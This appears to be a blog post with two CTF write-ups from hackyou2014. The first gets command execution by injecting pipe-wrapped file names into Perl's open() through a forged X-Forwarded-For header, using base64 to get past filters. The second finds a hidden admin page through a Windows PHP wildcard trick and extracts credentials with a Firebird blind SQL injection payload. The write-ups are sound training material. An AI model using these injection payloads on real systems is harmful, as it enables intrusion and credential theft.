#hackyou2014 Web200 write-up

In this level we are presented with a typical Snake game.

I spent a couple of hours deofuscating the javascript code until I was capable of submitting any score. Nice but useless. I also found out that I could fake the IP associated to the score using the X-Forwarded-For header.
That was pretty much it until the CTF was about to finish when I was given the hint: "../". I could use it to locate a LFI vulnerability that was affecting the index.php?ip parameter so I was capable of reading index.pl:

Reviewing the code we spot the LFI in line 4:

$login = $session->param('login');
print $req->p('Hello, '.$login.'!');  
if ($req->param('ip')) {  
    $file = './data/'.MD5($login)."/".$req->param('ip');
    if (-e $file) {
        open FILE, $file;
        $html = '';
        while (<FILE>) {
            $html .= $_;
        print $req->start_table({border=>1});
        print $req->Tr($req->th(['Date', 'Score']));
        print $html;
        print $req->end_table();
        print $req->a({href=>'index.pl'}, 'Back');
    } else {
        print $req->h1('Error');

But also there is another interesting "feature" if $file exists then it will be opened and since perl open() command in line 6 allow us to inject commands using pipes, we can execute any arbitrary command. Problem is that $file needs to exist so how can we create a random file there? Well, we can use our ability to submit random IPs with X-Forwarded-For:

Now if we go to index.pl?ip=|pwd| we will get:

Nice! However we cannot create files containing a slash ("/"):

[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|pwd|")'  
[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|ls .|")'  
[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|ls ..|")'  
[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|ls /|")'  
[email protected]:~/test$ ls  
|ls ..|  |ls .|  |pwd|

No backslashes neither:

[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|`echo -e '\x6c\x73\x20\x2f'`|")'  
[email protected]:~/test$ ls  
|`echo -e x6cx73x20x2f`|  |ls ..|  |ls .|  |pwd|

Lets try base64:

[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|`echo bHMgLw== | base64 -d`|")'  
[email protected]:~/test$ ls  
|`echo -e x6cx73x20x2f`|  |`echo bHMgLw== | base64 -d`|  |ls ..|  |ls .|  |pwd|

Cool! lets submit it:

And fetch our recompense:

#hackyou2014 Web300 write-up

In this level we were presented with an online shop:

The task name was "AngryBird" and this was very relevant to solve the challange! It actually comes down to two parts:

  • Finding a hidden admin area
  • Exploiting a blind SQLi to get credentials

Finding the hidden admin area

We were given the following description:

Some web-developers still host their sites on Windows platform, and think that it is secure enough

So we have to unravel our Windows PHP trickery and one of the coolest thigs Ive seen lately is this Windows+PHP bug realted with findfirstfile. If you havent read the paper so far, go and read it, is awesome!.

Anyway, using this trick on the main page and a little bit of burp intruder, we can find interesting hidden stuff. For examplo:


the "p<<" bit will become "p*" and Windows's findfirstfile API used by include_once will return us the first file starting with "p" and it will show us phpinfo()

Using same trick we can see that "0<<" returns an expty page instead of a "Page does not exists", so it can be the beggining of a directory name. After bruteforcing it we find a secret admin login in


Now we need the credentials.

Exploiting the Angry Bird

Its easy to find that the order parameter is vulnerable to SQL injection:


We cannot actually uses single quotes or many other characters because of the WAF, but we can easily prove it with the following URLs:

http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost ASC  

http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost DESC  

We can use a similar approach to the one explained here but if we try similar queries we get errors.
So the DB backend doesnt look like MySQL nor MSSQLServer ... but what the hell can be. Well, actually the task name was quite inspiring: Firebird.

After setting up a local instance and learning the basics of firebird syntax and how the WAF works (substring is not allowed), we come with some valid queries like:

(case when (select ascii_val(reverse(left(list(rdb$relation_name),{1}))) from rdb$relations) = 82 then name end)

Using a basic python script we brute force it and find the following user tables: USERS and ITEMS

Using similar script we can extract all the users and passwords and so we get: admin/9shS3FAk
If we try those credentials in the admin page, we get the flag: